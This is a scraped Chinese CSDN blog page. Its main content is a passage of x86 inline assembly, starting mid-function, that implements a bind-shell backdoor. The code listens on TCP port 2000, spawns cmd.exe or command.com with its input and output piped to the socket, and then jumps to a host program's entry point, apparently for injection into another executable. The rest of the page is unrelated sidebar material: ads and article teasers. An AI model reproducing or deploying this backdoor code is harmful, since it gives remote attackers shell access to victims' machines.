   mov     dword ptr [ebp-4118h],'.dmc'   
   mov     dword ptr [ebp-4114h],'exe'   
   mov     dword ptr [ebp-4110h],00000000h   
   jmp     loc_0040107D   
loc_0040106C:   
   mov     dword ptr [ebp-11ECh],0   
   mov     dword ptr [ebp-4118h],'mmoc'   
   mov     dword ptr [ebp-4114h],'.dna'   
   mov     dword ptr [ebp-4110h],'moc'   
loc_0040107D:   
   lea     eax,[ebp-1D4h]   
   push    eax   
   push    101h   
   call    dword ptr [ebp-4030h]   
   push    0   
   push    1   
   push    2   
   call    dword ptr [ebp-4038h]   
   mov     [ebp-30h],eax   
   push    0   
   push    1   
   push    2   
   call    dword ptr [ebp-4038h]   
   mov     [ebp-12F8h],eax   
   mov     word ptr [ebp-28h],2   
   push    7D0h   
   call    dword ptr [ebp-404Ch]   
   mov     [ebp-26h],ax   
   mov     dword ptr [ebp-24h],0   
   mov     dword ptr [ebp-44h],0Ch   
   mov     dword ptr [ebp-40h],0   
   mov     dword ptr [ebp-3Ch],1   
   push    10h   
   lea     ecx,[ebp-28h]   
   push    ecx   
   mov     edx,[ebp-30h]   
   push    edx   
   call    dword ptr [ebp-4050h]   
   push    2   
   mov     eax,[ebp-30h]   
   push    eax   
   call    dword ptr [ebp-4054h]   
loc_004010F7:   
   lea     ecx,[ebp-1E4h]   
   push    ecx   
   lea     edx,[ebp-28h]   
   push    edx   
   mov     eax,[ebp-30h]   
   push    eax   
   call    dword ptr [ebp-4058h]   
   mov     [ebp-12F8h],eax   
   cmp     dword ptr [ebp-12F8h],0FFFFFFFFh   
   jnz     loc_00401121   
   xor     eax,eax   
   jmp     loc_00401419   
loc_00401121:   
   push    0   
   lea     ecx,[ebp-44h]   
   push    ecx   
   lea     edx,[ebp-34h]   
   push    edx   
   lea     eax,[ebp-38h]   
   push    eax   
   call    dword ptr [ebp-4000h]   
   test    eax,eax   
   jnz     loc_00401140   
   xor     eax,eax   
   jmp     loc_00401419   
loc_00401140:   
   push    0   
   lea     ecx,[ebp-44h]   
   push    ecx   
   lea     edx,[ebp-1E0h]   
   push    edx   
   lea     eax,[ebp-2Ch]   
   push    eax   
   call    dword ptr [ebp-4000h]   
   push    44h   
   push    0   
   lea     ecx,[ebp-133Ch]   
   push    ecx   
   call    dword ptr [ebp-4090h]   
   add     esp,0Ch   
   lea     edx,[ebp-133Ch]   
   push    edx   
   call    dword ptr [ebp-4028h]   
   mov     dword ptr [ebp-133Ch],44h   
   mov     dword ptr [ebp-1310h],101h   
   mov     word ptr [ebp-130Ch],0   
   mov     eax,[ebp-34h]   
   mov     [ebp-12FCh],eax   
   mov     ecx,[ebp-2Ch]   
   mov     [ebp-1304h],ecx   
   mov     edx,[ebp-34h]   
   mov     [ebp-1300h],edx   
   lea     eax,[ebp-14h]   
   push    eax   
   lea     ecx,[ebp-133Ch]   
   push    ecx   
   push    0   
   push    0   
   push    0   
   push    1   
   push    0   
   push    0   
   lea     edx,[ebp-4118h]   
   push    edx   
   push    0   
   call    dword ptr [ebp-402Ch]   
   test    eax,eax   
   jnz     loc_004011DD   
   xor     eax,eax   
   jmp     loc_00401419   
loc_004011DD:   
   push    0C8h   
   call    dword ptr [ebp-4018h]   
loc_004011E8:   
   mov     eax,1   
   test    eax,eax   
   je      loc_004013C8   
   push    1000h   
   push    0   
   lea     ecx,[ebp-11E8h]   
   push    ecx   
   call    dword ptr [ebp-4090h]   
   add     esp,0Ch   
   mov     dword ptr [ebp-12F4h],0   
loc_00401215:   
   cmp     dword ptr [ebp-12F4h],40h   
   jnb     loc_00401240   
   mov     edx,[ebp-12F4h]   
   mov     eax,[ebp-12F8h]   
   mov     [ebp+edx*4-12F0h],eax   
   mov     ecx,[ebp-12F4h]   
   add     ecx,1   
   mov     [ebp-12F4h],ecx   
loc_00401240:   
   xor     edx,edx   
   test    edx,edx   
   jnz     loc_00401215   
   lea     eax,[ebp-1DCh]   
   push    eax   
   push    0   
   push    0   
   lea     ecx,[ebp-12F4h]   
   push    ecx   
   push    0   
   call    dword ptr [ebp-4040h]   
   mov     [ebp-11F0h],eax   
   cmp     dword ptr [ebp-11F0h],0   
   je      loc_00401338   
   cmp     dword ptr [ebp-11F0h],0FFFFFFFFh   
   je      loc_00401338   
   lea     edx,[ebp-12F4h]   
   push    edx   
   mov     eax,[ebp-12F8h]   
   push    eax   
   call    dword ptr [ebp-4034h]   
   test    eax,eax   
   jz      loc_004012B6   
   push    0   
   push    1000h   
   lea     ecx,[ebp-11E8h]   
   push    ecx   
   mov     edx,[ebp-12F8h]   
   push    edx   
   call    dword ptr [ebp-4044h]   
   mov     [ebp-1E8h],eax   
loc_004012B6:   
   cmp     dword ptr [ebp-1E8h],0   
   ja      loc_004012C4   
   jmp     loc_00401417   
loc_004012C4:   
   push    0   
   lea     eax,[ebp-1E8h]   
   push    eax   
   mov     ecx,[ebp-1E8h]   
   push    ecx   
   lea     edx,[ebp-11E8h]   
   push    edx   
   mov     eax,[ebp-1E0h]   
   push    eax   
   call    dword ptr [ebp-401Ch]   
   mov     [ebp-11F0h],eax   
   cmp     dword ptr [ebp-11F0h],0   
   jnz     loc_004012FC   
   jmp     loc_00401415   
loc_004012FC:   
   cmp     dword ptr [ebp-11ECh],0   
   jnz     loc_0040132A   
   push    0   
   lea     ecx,[ebp-1E8h]   
   push    ecx   
   push    1   
   lea     edx,[ebp-1340h]   
   push    edx   
   mov     eax,[ebp-1E0h]   
   push    eax   
   call    dword ptr [ebp-401Ch]   
   mov     [ebp-11F0h],eax   
loc_0040132A:   
   cmp     dword ptr [ebp-11F0h],0   
   jnz     loc_00401338   
   jmp     loc_00401413   
loc_00401338:   
   push    1000h   
   push    0   
   lea     ecx,[ebp-11E8h]   
   push    ecx   
   call    dword ptr [ebp-4090h]   
   add     esp,0Ch   
   push    0   
   lea     edx,[ebp-4]   
   push    edx   
   push    0   
   push    0   
   push    0   
   mov     eax,[ebp-38h]   
   push    eax   
   call    dword ptr [ebp-4020h]   
   cmp     dword ptr [ebp-4],0   
   jbe     loc_004013C3   
   push    0   
   lea     ecx,[ebp-1E8h]   
   push    ecx   
   mov     edx,[ebp-4]   
   push    edx   
   lea     eax,[ebp-11E8h]   
   push    eax   
   mov     ecx,[ebp-38h]   
   push    ecx   
   call    dword ptr [ebp-4024h]   
   mov     [ebp-11F0h],eax   
   cmp     dword ptr [ebp-11F0h],0   
   jnz     loc_00401399   
   jmp     loc_00401411   
loc_00401399:   
   push    0   
   mov     edx,[ebp-4]   
   push    edx   
   lea     eax,[ebp-11E8h]   
   push    eax   
   mov     ecx,[ebp-12F8h]   
   push    ecx   
   call    dword ptr [ebp-4048h]   
   mov     [ebp-11F0h],eax   
   cmp     dword ptr [ebp-11F0h],0   
   jg      loc_004013C3   
   jmp     loc_0040140F   
loc_004013C3:   
   jmp     loc_004011E8   
loc_004013C8:   
   mov     edx,[ebp-1E0h]   
   push    edx   
   call    dword ptr [ebp-4010h]   
   mov     eax,[ebp-38h]   
   push    eax   
   call    dword ptr [ebp-4010h]   
   mov     ecx,[ebp-2Ch]   
   push    ecx   
   call    dword ptr [ebp-4010h]   
   mov     edx,[ebp-34h]   
   push    edx   
   call    dword ptr [ebp-4010h]   
   mov     eax,[ebp-12F8h]   
   push    eax   
   call    dword ptr [ebp-403Ch]   
   push    3E8h   
   call    dword ptr [ebp-4018h]   
   jmp     loc_004010F7   
loc_0040140F:   
   jmp     loc_004013C8   
loc_00401411:   
   jmp     loc_004013C8   
loc_00401413:   
   jmp     loc_004013C8   
loc_00401415:   
   jmp     loc_004013C8   
loc_00401417:   
   jmp     loc_004013C8   
loc_00401419:   
   mov     esp,ebp   
   pop     ebp   
   ret   
   }   
/////////////////////////////////////////////////////////////    
ex:   
    _asm   
    {   
        pop ecx   
        push ecx   
        ret   
    }   
ex1:   
    _asm   
    {   
    call ex   
    ret   
    }   
exit1:   
///////////////////////////////////////////////////////////////    
   _asm   
   {   
    mov eax,0x401000 //这里需要更改为程序人口    
    jmp eax   
  }   
return 0;   
}  

本文来自优快云博客,转载请标明出处:http://blog.youkuaiyun.com/yincheng01/archive/2009/06/08/4250312.aspx

隔离型全桥LLC谐振变化器建模及参数设计资料【仿真+设计报告+计算书】 内容概要:本文档系统性地提供了隔离型全桥LLC谐振变换器的建模、仿真与参数设计全套技术资料,涵盖Simulink/Plecs仿真模型、详细设计报告及Mathcad计算书,内容涉及开环与闭环控制、软启动过程、恒压恒流双闭环竞争控制等多种工况。资料还拓展至多相交错LLC、双向CLLC拓扑以及V2G(Vehicle-to-Grid)电动汽车充放电等前沿应用场景,并融合状态估计算法(如卡尔曼滤波、扩展卡尔曼滤波、粒子滤波)与神经网络技术进行系统性能优化,配套PPT说明与高水平EI期刊复现案例,为电力电子领域的科研与工程设计提供完整的技术支撑; 适合人群:适用于电力电子、电气工程及其自动化等相关专业的高校研究生、科研人员,以及从事高频DC-DC变换器、新能源电源系统开发的工程师,具备扎实电路理论基础和Matlab/Simulink仿真能力者尤佳; 使用场景及目标:①支撑LLC谐振变换器相关的科研课题、学位论文或项目开发;②开展高频高效电源的参数设计、效率优化与动态响应分析;③学习并复现高水平期刊中先进的控制策略,如变频控制、混合移相控制及智能优化算法;④掌握Simulink/Matlab在电力电子系统建模、控制算法实现与状态估计中的综合应用; 阅读建议:建议结合仿真模型、Mathcad计算书与设计报告三位一体同步研习,重点理解主电路参数设计与闭环控制逻辑之间的耦合关系,优先运行典型算例并调试关键模块,有条件者可进一步推进至硬件原型验证,并积极探索状态估计与人工智能算法在电力系统动态建模中的融合应用。 立即下载

相关推荐

2025年情感分析(SA)综述——论文阅读报告

2025年情感分析(SA)综述——论文阅读报告

Samdy_L的博客 2086

U盘里的PE系统装机会不会有自带木马病毒或者主板硬盘等硬件镶入...

自用的电脑,一直有个情况出现,每次装机都会出现被锁定主页,360、安全管家、毒霸、卡巴基斯什么的杀毒软件都找不到这个病毒,锁定主页也没用,如果进入系统后这个病毒使用360的急救箱找不到病毒杀不掉。 然后有一天这个主页把我惹急了下载了个360急救箱PE版的,可以找到这个病毒并且可以删除不出现锁定主页,用了一个多月没事,但昨天突然又想重装系统了我就重装了一次win10,跟前面那个系统不是同一个GHO,...

1837

【5G核心网】Packet Forwarding Model 数据包转发模型

CP 通过建立,修改,删除 PFCP 会话上下文,以及通过为每个 PFCP 会话赏析哪问提供 PDR FAR QER URR BAR,来控制 UP 面的数据包处理。 每一个 PDR 都包含 PDI(Packet Detection Information,包探测信息),一个或多个字段,与输入数据包进行匹配,并可能与以下规则相关联,从而提供了适用于与 PDI 匹配的数据包的指令集: - One FAR(包含了处理数据包的相关指令) an Apply Act...

zhonglinzhang 1万+

十种编程语言的特点和领域

c语言 c语言是一种计算机程序设计语言。它既具有高级语言的特点,又具有汇编语言的特点。它可以作为工作系统设计语言,编写系统应用程序,也可以作为应用程序设计语言,编写不

weixin_40392756的博客 2万+

从零到一:EHB-电机复合制动系统的Simulink仿真实战指南

本文详细介绍了EHB-电机复合制动系统在纯电动汽车中的Simulink仿真实战指南。通过系统概述、建模核心模块解析、控制策略开发及典型问题排查,帮助读者掌握从零到一的开发流程。重点讲解了液压子系统建模、电机再生制动模型及整车动力学集成,为开发者提供了一套完整的解决方案。

hh234的博客 1006

stm32H743基于CubeMX配置为双ADC多通道DMA规则采样

stm32H743的ADC支持的最大频率为36MHz,有相关资料上说是可以超频,具体技术细节不多讨论。 需求: 使用stm32H743的ADC采集5路ovrc

xtqbp的博客 4362

嵌入式系统中LCD驱动的实现原理

LCD (液晶显示)模块满足了嵌入式系统日益提高的要求,它可以显示汉字、字符和图形,同时还具有低压、低功耗、体积小、重量轻和超薄等很多优点。随着嵌入式系统的应用越来越广泛,功能也越来越强大,对系统中的人机界面的要求也越来越高,在应用需求的驱使下,许多工作在Linux下的图形界面软件包的开发和移植工作中都涉及到底层LCD驱动的开发问题。因此在嵌入式系统中开发LCD驱动得以广泛运用。   本文以三

#*一生有你*# 1865

PostgreSQL数据库全攻略:从入门到精通

本文是一份PostgreSQL数据库综合指南,涵盖安装配置、基础操作和高级管理。主要内容包括:1) PostgreSQL简介与各平台安装方法;2) 数据库基本操作,如创建数据库/表、CRUD操作、用户权限管理;3) 高级功能包括索引优化、事务控制、视图、存储过程、触发器和扩展模块;4) 数据库管理维护,涉及配置调优、备份恢复、性能监控和日常维护;5) 安全设置与高可用方案。指南提供了从入门到进阶的实用知识,强调结合官方文档进行深入学习,帮助用户高效使用这一功能强大的开源关系型数据库系统。

索大神的博客 1969

渗透分支写脚本_新手学习电脑渗透的基础知识掌握「完结」编程技术

"黑客”“骇客”“黑帽”“白帽”“灰帽” “红帽” 所有“黑客”分支都有一个共同点,那就是必须是精通计算机,懂得编程,看得了代码,写的了程序。当然现在的我也最多上算是的 高级脚本小子。并没有独立编写大型程序的能力。因为我喜欢的领域是PC领域所以我接触的编程语言是C/C++,三年时间内我跳槽了很多家小公司,拜会了很多灰色地带的大佬。深知C/C++的在核心的重要性。Python也是一个很不错的语言。G...

weixin_39653717的博客 160

别再只用GPS了!用Android手机传感器实现室内步行轨迹记录(避坑指南)

本文详细介绍了如何利用Android手机传感器(如加速度计、陀螺仪和磁力计)实现室内步行轨迹记录,克服GPS在室内的局限性。通过传感器数据采集、步态检测、航向估计和轨迹绘制等步骤,结合避坑指南和优化技巧,帮助开发者高效构建室内定位应用。

weixin_26821003的博客 274

微信小程序 - 最新详细实现模板消息订阅通知功能,给用户微信发送“服务通知“模板消息并点击进入跳转到小程序页面路由,订阅消息通知详细后台申请流程及示例代码,解决授权申请弹框被拒绝后无法调起、常见报错!

微信小程序,vue2,vue3,模板消息,订阅通知,服务通知,小程序模板通知,订阅微信模板消息功能,唤起模板消息订阅弹框并发送服务通知,消息订阅与模板消息发送,一次性订阅,长期永久订阅,申请模板id,详细示例代码教程,配置流程,消息模板,模板ID,用户收不到消息,订阅了通知但微信不来服务通知,报错,小程序平台模板消息订阅功能,唤起订阅模板消息弹框,订阅模板消息发送服务通知功能,如何做模板消息订阅,一直收不到通知,用户通过弹窗订阅,订阅消息,无法打开申请授权弹框,用户拒绝/关闭后,如何引导用户再开启,拒绝后怎

🏆 前端领域优质创作者 5329

Ubuntu安装shutter

Shutter Shutter是一个截图应用程序 [编辑]功能 截取桌面、应用程序、可视或不可视的选定区域、网页部分保存为图片。 可以设定等待时间。 Shutter完全镶入Gnome。 新版本的shutter,需要安装 libgoo-canvas-perl 包,才能打开强大的cairo编辑功能。 所以先安装它:sudo apt-get ins...

weixin_34375233的博客 78

使用R语言整理GEO数据的简易教程

本教程介绍了使用R语言从GEO数据库下载数据并进行数据整理的基本步骤。根据实际研究问题,你可能需要进行更复杂的数据处理和分析。R语言作为一种强大的生物信息学工具,为GEO数据的整理、分析和可视化提供了丰富的功能和工具。希望这个教程能够帮助你入门GEO数据整理和R语言的应用。如果你在使用过程中遇到问题,或需要进一步的指导,请随时向我询问。祝你在GEO数据分析的旅程中取得成功!

Mrrunsen的博客 3741

软件工程——个人总结

回想开学初对于软件工程这门课的期望,总结本课程对你带来的提升: 1. 学习和使用的新软件 Dreamweaver主要用于前端设计 Dreamweaver具有强大的站点管理功能,使用拆分模式,所见即所得的页面编辑方式;支持StylesSheet样式表单,创造丰富的页面效果;Dreamweaver会自动更新所有链接。使用支援文字、HTML码、HTML属性标签和一般语法的搜寻及置换功能使得复...

atui6499的博客 497

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

电脑技术吧_新手学习电脑渗透的基础知识掌握完结编程技术

"黑客”“骇客”“黑帽”“白帽”“灰帽”“红帽”所有“黑客”分支都有一个共同点,那就是必须是精通计算机,懂得编程,看得了代码,写的了程序。当然现在的我也最多上算是的高级脚本小子。并没有独立编写大型程序的能力。因为我喜欢的领域是PC领域所以我接触的编程语言是C/C++,三年时间内我跳槽了很多家小公司,拜会了很多灰色地带的大佬。深知C/C++的在核心的重要性。Python也是一个很不错...

weixin_39619433的博客 866

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

VC的一些控件

最近一个同学让我帮他做一个数据统计及计算的软件,主要是计算一些方差、增长率什么的,盛情难却,虽然补助不多,但还是做了。 拿到需求后--其实也算不上什么需求,就是一些计算公式,界面的风格也没定--,我首先先确定软件的开发环境和使用工具,最后选定了用VC开发,数据库是Access,因为软件是在windows操作系统下运行的,数据量也不大。自从毕业后就没怎么接触过VC,我们单位软件开...

ldjsyl的专栏 108

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

创建并连接derby数据库

<br />技术博客: http://blog.sina.com.cn/s/articlelist_1766082610_0_1.html<br /> <br /> <br />Derby数据库有两种运行模式(Derby的jar包都在%JAVA_HOME%/db/lib,没有的就自己下载derby.jar)<br />您可以采用两种模式来部署和运行Derby:<br />在嵌入式模式(embedded mode)中,Derby只处理来自与应用程序使用的JVM相同的JVM的请求。在采用嵌入式模式来使用Derb

woshixhw的专栏 1094

站内推广 Amazon CPC

1.什么是CPC? CPC=Cost Per Click,是亚马逊通过付费获得流量的第一手段。关键字竞价,以每点击一次计费。 2.CPC展现的位置? (1)页面右侧橱窗 (2)每页搜索结果 (3)产品详情页 3.为什么要做CPC? CPC广告引进流量多而精准,转化率相对较高。 4.CPC站内广告的排名因素 (1)Bidding (2)Performance 5.做CPC前要做哪些准备? Listing优化(title,picture,bullet point,keyword,review,,,

熊熊小姐的博客 514

PHP学习日记0_PHP、静态网页、动态网页、静态网站访问流程、动态网站访问流程

1,PHP php是一种运行在服务器端的HTML脚本/编程语言,作用是书写动态生成的网页。(PHP和Myspl是好基友) 2,静态网页 (1)静态网页是实实在在的保存在服务器上的文件,每一个网页都是一个独立的文件 (2)容易被搜索引擎搜索到 (3)静态网页没有数据库的支持,当网站信息量很大是完全依靠静态网页制作方式比较困难 (4)静态网页的交互性差 3,动态网页 (1)交互性:网也

张旭的博客 1228

HTML基础及常用标签

本文只介绍了部分标签及其属性,想要了解更多,参考 HTML参考手册HTML简介 HTML是HyperText Markup Language的简写。 中文名:超文本标记语言。“超文本”就是指页面内可以包含图片、链接,甚至音乐、程序等非文字元素。”标识”是指该语言是由标签构成的。 超文本标记语言的结构包括“头”部分(英语:Head)、和“主体”部分(英语:Body),其中“头”部提供关于网页的信息,“

wang的博客 520

Android Automotive开发入门:从手机App到车载系统的范式转换

Android Automotive是Google官方定义的独立操作系统分支,不同于手机Android,它基于AOSP但强制集成CarSystemUI、CarPropertyManager等专属服务,面向功能安全(ISO 26262 ASIL-B)设计。其核心原理在于系统级IPC管控——所有应用必须通过CarService建立Binder连接,并遵循CarAppManifest.xml声明、CarAppCompatActivity生命周期及CarFileManager文件访问规范。技术价值体现在强隔离性、高

weixin_34161029的博客 385
上一篇: 让程序进入ring0级执行
下一篇: 驱动拦截NT的API实现隐藏木马客户端
wind0513
博客等级 码龄24年 3粉丝 37原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值